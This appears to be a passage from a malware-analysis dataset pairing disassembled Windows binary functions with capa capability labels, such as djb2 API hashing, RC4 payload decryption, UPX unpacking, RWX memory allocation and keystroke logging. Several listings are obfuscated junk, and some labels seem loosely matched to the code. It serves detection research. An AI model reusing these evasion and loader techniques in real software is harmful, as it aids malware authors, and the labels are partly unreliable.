joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001000
Capabilities:
Hash data using djb2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [0x10013294]
mov dword [ebp - 8], ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x3c]
mov eax, dword [eax + ebx + 0x78]
add eax, ebx
mov ecx, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
add ecx, ebx
mov dword [ebp - 0x14], ecx
add edx, ebx
mov ecx, dword [eax + 0x24]
add ecx, ebx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + 0x14]
mov dword [ebp - 4], ecx
test ecx, ecx
je 0x10001093
push esi
nop
mov edx, dword [edx + edi*4]
mov eax, 0x1505
add edx, ebx
movsx esi, byte [edx]
test esi, esi
je 0x10001067
mov ecx, eax
lea edx, [edx + 1]
shl eax, 5
add eax, esi
movsx esi, byte [edx]
add eax, ecx
test esi, esi
jne 0x10001051
mov ecx, dword [ebp - 4]
cmp eax, dword [ebp - 8]
je 0x1000107d
mov edx, dword [ebp - 0xc]
inc edi
cmp edi, ecx
jb 0x10001040
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
pop esi
movzx eax, word [eax + edi*2]
pop edi
mov eax, dword [ecx + eax*4]
add eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100010f0
Capabilities:
Encrypt data using rc4 prga
Resolve function by djb2 hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x908
mov eax, dword [0x10012004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ecx, 0xeb96c5fa
call section..text
mov ecx, 0x71019921
mov esi, eax
call section..text
mov ecx, 0x3870ca07
mov ebx, eax
call section..text
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push 0x10013298
mov edi, eax
call esi
push 0
push 0x1001339c
push 0x40000
push dword [0x10013290]
mov esi, eax
push esi
call ebx
push esi
call edi
mov eax, dword [0x1001339c]
xor esi, esi
push 0x400
mov dword [ebp - 0x908], eax
xor edi, edi
lea eax, [ebp - 0x904]
xor ebx, ebx
push esi
push eax
call fcn.10002310
push 0x400
lea eax, [ebp - 0x504]
push esi
push eax
call fcn.10002310
push 0xf0
lea eax, [ebp - 0xf4]
push esi
push eax
call fcn.10002310
add esp, 0x24
mov dword [ebp - 0x104], 0x435ab324
mov dword [ebp - 0x100], 0x435ab324
mov edx, 2
mov dword [ebp - 0xfc], 0x435ab324
xor ecx, ecx
mov dword [ebp - 0xf8], 0x435ab324
nop word [eax + eax]
lea eax, [edx - 2]
mov dword [ebp + ecx - 0x504], eax
and eax, 0x8000000f
jns 0x100011f6
dec eax
or eax, 0xfffffff0
inc eax
movzx eax, byte [ebp + eax - 0x104]
mov dword [ebp + ecx - 0x904], eax
lea eax, [edx - 1]
mov dword [ebp + ecx - 0x500], eax
and eax, 0x8000000f
jns 0x1000121b
dec eax
or eax, 0xfffffff0
inc eax
movzx eax, byte [ebp + eax - 0x104]
mov dword [ebp + ecx - 0x900], eax
mov eax, edx
mov dword [ebp + ecx - 0x4fc], edx
and eax, 0x8000000f
jns 0x1000123f
dec eax
or eax, 0xfffffff0
inc eax
movzx eax, byte [ebp + eax - 0x104]
mov dword [ebp + ecx - 0x8fc], eax
lea eax, [edx + 1]
mov dword [ebp + ecx - 0x4f8], eax
and eax, 0x8000000f
jns 0x10001264
dec eax
or eax, 0xfffffff0
inc eax
movzx eax, byte [ebp + eax - 0x104]
add edx, 4
mov dword [ebp + ecx - 0x8f8], eax
add ecx, 0x10
lea eax, [edx - 2]
cmp eax, 0x100
jl 0x100011e0
xor edx, edx
nop dword [eax]
mov eax, dword [ebp + edx - 0x904]
mov ecx, dword [ebp + edx - 0x504]
add eax, ecx
add esi, eax
and esi, 0x800000ff
jns 0x100012b2
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [ebp + esi*4 - 0x504]
mov dword [ebp + edx - 0x504], eax
add edx, 4
movzx eax, cl
mov dword [ebp + esi*4 - 0x504], eax
cmp edx, 0x400
jl 0x10001290
mov esi, dword [ebp - 0x908]
xor edx, edx
test esi, esi
jle 0x10001351
inc edi
and edi, 0x800000ff
jns 0x100012f2
dec edi
or edi, 0xffffff00
inc edi
mov ecx, dword [ebp + edi*4 - 0x504]
add ebx, ecx
and ebx, 0x800000ff
jns 0x1000130b
dec ebx
or ebx, 0xffffff00
inc ebx
mov eax, dword [ebp + ebx*4 - 0x504]
mov dword [ebp + edi*4 - 0x504], eax
movzx eax, cl
mov dword [ebp + ebx*4 - 0x504], eax
mov ecx, dword [ebp + edi*4 - 0x504]
add ecx, eax
and ecx, 0x800000ff
jns 0x1000133c
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [ebp + ecx*4 - 0x504]
mov ecx, dword [0x10013290]
xor byte [edx + ecx], al
inc edx
cmp edx, esi
jl 0x100012e1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100013f1
mov esp, ebp
pop ebp
ret
Function at 0x461030
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x52000]
push edi
or ebp, 0xffffffff
jmp 0x461052
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x461059
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x461048
mov eax, 1
add ebx, ebx
jne 0x46106b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x461060
jne 0x46107c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461060
xor ecx, ecx
sub eax, 3
jb 0x461090
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x461102
mov ebp, eax
add ebx, ebx
jne 0x46109b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4610a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4610cc
inc ecx
add ebx, ebx
jne 0x4610b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4610ad
jne 0x4610c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4610ad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4610ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4610dd
jmp 0x46104e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4610ec
add edi, ecx
jmp 0x46104e
pop esi
mov edi, esi
mov ecx, 0x528
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x46110a
cmp byte [edi], 7
jne 0x46110a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x46110f
lea edi, [esi + 0x5f000]
mov eax, dword [edi]
or eax, eax
je 0x461187
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa65cc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa666c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x46113c
mov ecx, edi
jns 0x46116b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa6670]
or eax, eax
je 0x461181
mov dword [ebx], eax
add ebx, 4
jmp 0x461159
call dword [esi + 0xa6678]
mov ebp, dword [esi + 0xa6674]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4611bb
sub esp, 0xffffff80
jmp 0x403724
Function at 0x4e4f2e
Capabilities:
Encode data using xor

Disassembly:
stc
clc
cmp bx, 0x9945
add dl, dl
push ecx
jmp 0x5284de
jns 0x5284d7
lodsd eax, dword [esi]
mov dword [esi - 0x30], ebx
sbb bl, byte [edi + 0x305450ef]
enter 0xffffffffffffa045, 0xffffffffffffffd6
push ebp
mov eax, 0xed48b2bc
inc ebp
mov al, byte [0xbcb855d6]
mov dl, 0x48
in eax, dx
pushfd
leave
xor byte [esi + ebp - 0x394e557a], bl
jecxz 0x5284a6
mov edx, 0x7c9fa3ae
inc ecx
push 0xce0744e
call fcn.005642e9
mov edx, 0x68379471
in eax, dx
invalid
add eax, dword [eax]
invalid
call fcn.0052a5be
jle 0x528499
cmpsd dword [esi], dword es:[edi]
stosd dword es:[edi], eax
jmp 0xe52445bd

Function at 0x4e53f3
Capabilities:
Authenticate hmac

Disassembly:
repne scasb al, byte es:[edi]
pushfd
call fcn.004ed39f
mov ebx, 0x455d1c15
jb 0x4e5474
xor al, 3
popal
inc edi
mov bh, 0x7b
cwde
sub cl, byte [edx]
rol byte [ebp*2 - 0x6c49342e], 0xdc
fstp dword [esi]
cmp cl, bh
sbb edx, edx
mov bh, 0x94
mov esp, 0xac06c2cc
or eax, 0xd4e3fbdd
or eax, 0xd4e3fbdd
dec esp
invalid
cmp al, 0xe0
or al, 0xe8
inc byte cs:[edi]
add byte [ecx + ebp*4 - 0xd], ch
jnp 0x4e54b5
nop dword [0x2d297376]
aas
pop es
and al, 0x5c
call 0xee58f978
das
in eax, 0xb1
je 0x4e5421
add al, 0x36
jb 0x4e5495
pop ebx
mov ss, word [ebx + 0x2d]
adc al, 0x75
xchg edi, eax
push edx
inc esp
cmpsd dword [esi], dword es:[edi]
or dword [eax - 0x48], ebp
ja 0x4e5488
xor eax, 0xb431e931
sub eax, 0xc1b76f00
cmp ebx, dword [ebp + ecx + 0x54]
aaa
aam 0x94
pop esp
or eax, 0x94d43754
sal byte [esi - 0x2619b65a], cl
xor ecx, esp
bound esi, qword [esi + esi*8 - 0x39]
ljmp 0xf07b
Function at 0x4ed6d1
Capabilities:
Encode data using xor

Disassembly:
fsubr qword [edi]
popal
stosd dword es:[edi], eax
rol dword [esi - 0x49], 1
xlatb
shl ah, cl
mov byte [0xfa879eb1], al
inc edx
jge 0x4ed733
bound edi, qword [ebx + 4]
sbb dword [eax], esi
dec ebx
outsb dx, byte [esi]
push ebp
call fcn.004f2940
xor dword [eax], 0xa
sub dword [ebx + esi], ebp
jae 0x4ed745
outsb dx, byte [esi]
jae 0x4ed6b5
ficomp dword [ecx - 0x4a]
lahf
jae 0x4ed713
rcl esp, 1
cmc
push ecx
push ds
fxch st(7)
jge 0x4ed727
xor eax, edx
insd dword es:[edi], dx
retf 0xadfd
pop ebp
cdq
fist word [ebx - 0x31]
sbb dword [esi - 0x438f12d5], edi
int3
popal
out 0xcb, eax
sbb edi, ebp
fld xword [edi - 0x49]
ret 0xf5a1
into
leave
push eax
jns 0x4ed740
sub al, 0x23
xor dword [ebp - 0x7d516e73], 0xffffffff
push 0xcdff16b
call fcn.005652aa
pop eax
in eax, 0x8a
cdq
push 0x30277f79
or byte [esi + edi], ch
jmp [eax + 0x6b]
or al, 0xe8
pop edi
jnp 0x4ed751
add byte [eax - 0x1b], bl
mov bl, byte [ecx + 0x277f7968]
jg 0x4ed77a
xor byte [eax], cl
sub al, 0x3e
pop ds
pop esi
inc ebp
insd dword es:[edi], dx
jne 0x4ed74d
in al, dx
push ebx
dec esp
invalid
xchg esp, eax
dec edx
pushfd
inc ecx
aas
cmp ebx, dword [ebx - 0x62]
mov ecx, 0x79f0b8de
jl 0x4ed783
fidivr word [eax - 0x5838610]
jp 0x4ed7c9
in al, 0xe9
mov bh, 0x14
insd dword es:[edi], dx
iretd
jno 0x4ed808
xchg edi, eax
out dx, eax
aam 0xcf
fsin
int1
stc
cli
sti
and dword [ebx + 0x60], edx
lds ecx, [edi]
mov dl, 0x69
mov esi, 0xa774d780
jecxz 0x4ed7f9
into
out dx, eax
jns 0x4ed821
pop ebp
cmp eax, 0x9d706e19
xchg byte [esi], bl
daa
pop edx
test al, 0x90
nop
and ebx, dword [0x69609ac2]
sbb esi, dword [esi + ecx]
adc edi, dword [edi + 0x14]
push ebx
iretd
xor byte [ebp + 0x53], bh
xor dword [ecx - 0x80], 0x69
dec ebp
or cl, ah
movsb byte es:[edi], byte [esi]
mov eax, dword [0x59e5b438]
pop ecx
ret
leave
daa
pop eax
xor ebx, dword [edx]
xor bh, byte [esi]
jns 0x4ed7c0
jnp 0x4ed895
push esp
test al, 0xa3
xchg byte [edx - 0x4860445d], bl
push ecx
sub dword [esi + edx*8 - 0x1c], ebx
jg 0x4ed8ed
salc
in al, 0x7f
push esp
mov ecx, 0x902a4b27
jg 0x4ed892
sub al, 0xce
call 0x2c0f522e
fdiv dword [edi + 0x467e946f]
sub cl, byte [edx + 0x4e6d4039]
lodsd eax, dword [esi]
movsd dword es:[edi], dword [esi]
pushfd
std
invalid
invalid

Function at 0x4ee425
Capabilities:
Encode data using xor

Disassembly:
test byte [edx + 0x41], cl
xchg dword [edx + edi*8], edx
iretd
pushfd
not al
stc
ror al, 3
cmc
cmc
add al, 0x8b
cmc
test cl, al
shr eax, 1
call fcn.00561cfd
mov dh, 0x6d
pop eax
inc ebx
arpl word [ecx + 0x4c], bp
inc ecx
xor al, 0x3b
cmp edi, edx
lea bp, [ebx - 0x331accd2]
pushfd
jg 0x4ee442
adc bh, byte [edx + eax*4 - 0x33]
out dx, eax
adc ah, dl
pop edi
jmp 0x4ee3f1
Function at 0x4f21dc
Capabilities:
Encode data using xor

Disassembly:
jmp 0x4ee2da
stc
add ebx, eax
jmp 0x5630fa
pushfd
pushfd
pushfd
lea esp, [esp + 0xc]
je 0x5616e2
or bh, bl
mov ebx, dword [esi]
jmp 0x4e5b06
pop edi
lea esi, [esi*2 - 0x73404ff7]
mov edi, dword [esp + 0x28]
mov dword [esp + 4], esi
not esi
mov esi, dword [esp + 0x2c]
call fcn.004ef450
clc
bt ebx, ecx
cmp ecx, dword [edx + 0x18]
lea esp, [esp + 0x34]
jb 0x4e566b
je 0x5616e2
mov bh, 0x74
mov ebx, dword [esi]
push 0xa41e3881
bt cx, bx
cmc
add ebx, eax
stc
mov dword [esp], esi
sub si, 0x2d5c
pushal
cmc
mov dword [esp + 0x1c], edi
pushfd
mov esi, dword [ebp + 4]
pushfd
rcl di, cl
mov edi, ebx
bt dx, 0xc
stc
cmpsb byte [esi], byte es:[edi]
pushal
lea esp, [esp + 0x44]
jne 0x4e4fdb
stc
cmp byte [esi - 1], 0
pushal
lea esp, [esp + 0x20]
jne 0x562d50
movsx di, cl
pushal
bswap edi
mov word [esp + 0x14], 0x6eaf
mov edi, dword [esp + 0x20]
pushal
lea esi, [ecx - 0x6c5deeac]
jmp 0x52a64e
mov esi, dword [esp + 0x44]
push edi
push dword [esp]
lea esp, [esp + 0x50]
jne 0x4e6e2b
cmc
clc
bt sp, bp
movzx ecx, word [edi + ecx*2]
pushal
lea edi, [ebx - 0x3c2b9bec]
sub di, 0xdf2a
mov edi, dword [edx + 0x1c]
push ecx
add edi, eax
stc
pushal
clc
mov edi, dword [edi + ecx*4]
cmp al, cl
clc
bt edx, esp
test edi, edi
call fcn.004f2320
xor bh, byte [eax - 0x172e0920]
movsd dword es:[edi], dword [esi]
mov byte [0xf1e5a9aa], al
clc
test dword [eax], ebx
sub al, 0x90
pop edx
mov byte [ebx - 0x12030400], bh
push edi
mov esi, 0x17d10c57
lds edi, [ebx - 0x514b3d62]
add al, 0x60
mov dword [esi], edi
pop ebp
inc ebx
daa
mov byte [0xa167acf9], bh
dec ebp
add ecx, 0x38897381
scasd eax, dword es:[edi]
inc esp
mov dword [edx + 0x72], 0x628e07c1
mov eax, dword [0xca8e45f7]
cmp eax, 0x72ac41c0
or dword [esi], edx
test esp, 0x4c387f91
push ss
call 0xc597fdb5
cmp byte [ebx + 0x24], bh
push ds
xor ebx, ebp
jg 0x52a67d
aaa
mov esi, 0x26ec9a37
or eax, 0xafb13ada
nop
xor dword [edx], edi
invalid
cmp al, 0x27
push ecx
mov dword [esp], esi
adc si, si
rcl si, 7
sal si, cl
jmp 0x563630
push edi
rcl esi, 0x1d
mov esi, dword [ebp + 4]
cmc
mov di, 0xfbe7
mov edi, ebx
call fcn.004f42d5
sbb byte [ecx - 0x4f796315], ch
scasd eax, dword es:[edi]
mov gs, esi
xor eax, 0xe3d463d9
rcl byte [ebx - 0x32], 0xc3
retf 0x32bb
Function at 0x402f60
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x497008], 0x8088405
inc edx
mov dword [ebx + 0x497008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4033b8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x497024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403450
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x403430
xor eax, eax
push ebp
push 0x403429
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40346c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403430
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov ax, word [0x497024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x497024], ax
mov esp, ebp
pop ebp
ret

Function at 0x40414c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4f2044], 0
je 0x4041ad
cmp word [0x4f2218], 0xd7b2
jne 0x404175
cmp dword [0x4f2220], 0
jbe 0x404175
mov eax, 0x4f2214
call dword [0x4f2230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x497070
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4041d4
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
pop edx
ret
cmp byte [0x497034], 0
jne 0x4041c9
push 0
push 0x497068
push 0x497070
push 0
call sub.user32.dll_MessageBoxA_1
pop edx
ret
Function at 0x405fdc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x406042
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA_1
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404540
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402f7c
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x40602c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406049
lea eax, [ebp - 0x10]
call fcn.004042d0
ret

Function at 0x40b7f4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x40b82d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004043c0
jmp 0x40b836
mov eax, ebx
mov edx, esi
call fcn.00404324
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b840
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x40b861
mov al, byte [esp]
jmp 0x40b863
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40c818
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40c8ee
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404368
lea eax, [ebp - 8]
call fcn.004047e0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404790
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40c8d8
mov eax, ebx
call fcn.00402a60
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40c8d1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404790
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40c8bb
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40c900
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40c8bb
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c8d8
mov eax, dword [ebp - 0x10]
call fcn.00402a90
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c8f5
lea eax, [ebp - 8]
call fcn.004042d0
ret
Function at 0x40ce54
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40ceb8
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404540
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_GetACP
mov edx, eax
pop eax
call fcn.00408720
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cebf
lea eax, [ebp - 0xc]
call fcn.004042d0
ret

Function at 0x41b244
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4f2880
cmp dword [edi], 0
jne 0x41b2c0
push 0x40
push 0x1000
push 0x1000
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov esi, eax
mov eax, dword [0x4f287c]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4973ec
mov ecx, 2
call fcn.00402c80
mov edx, 0x41b21c
lea eax, [esi + 5]
call fcn.0041b23c
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041b23c
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41b295
mov dword [0x4f287c], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41c79c
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41c7a2
ret

Function at 0x41ee54
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.KERNEL32.DLL_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41eea5
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x41ee8c
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x41ee7c
jmp 0x41eea5
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x41ee8d
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43883c
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x438788
call sub.user32.dll_EnumWindows
ret

Function at 0x43895c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4389d9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004383bc
call sub.KERNEL32.DLL_GetTickCount
mov ebx, eax
push 0
call sub.KERNEL32.DLL_Sleep
call sub.KERNEL32.DLL_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x438981
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.00437fbc
cmp dword [ebp - 4], 0
je 0x4389c3
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.00404790
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4389e0
lea eax, [ebp - 4]
call fcn.004042d0
ret

Function at 0x43bb24
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x4f2b5c], 0
je 0x43bc73
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x4f1d40]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x43bc73
mov eax, dword [0x4f2b60]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x4f2b5c]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x43bc42
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x4f2b5c]
call fcn.004146dc
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x43bc3a
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x43bc3a
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x43bc3a
mov eax, dword [ebp - 0x14]
call fcn.004447bc
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x43bc3a
push ebp
call fcn.0043bae0
pop ecx
test al, al
jne 0x43bc3a
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x43bbf6
mov eax, dword [ebp - 0x14]
call fcn.004432ec
dec eax
jle 0x43bc3a
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.0040374c
cmp byte [ebp - 1], 0
je 0x43bc3a
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x43bc3a
mov edx, dword [ebp - 0x14]
mov eax, dword [0x4f2b60]
call fcn.0043b2ac
inc edi
dec ebx
jne 0x43bb89
mov eax, dword [0x4f2b60]
cmp dword [eax + 8], 0
jle 0x43bc5a
mov eax, dword [0x4f2b60]
call fcn.0043b33c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x43bc73
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0043b948
pop ecx
test al, al
jne 0x43bc73
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret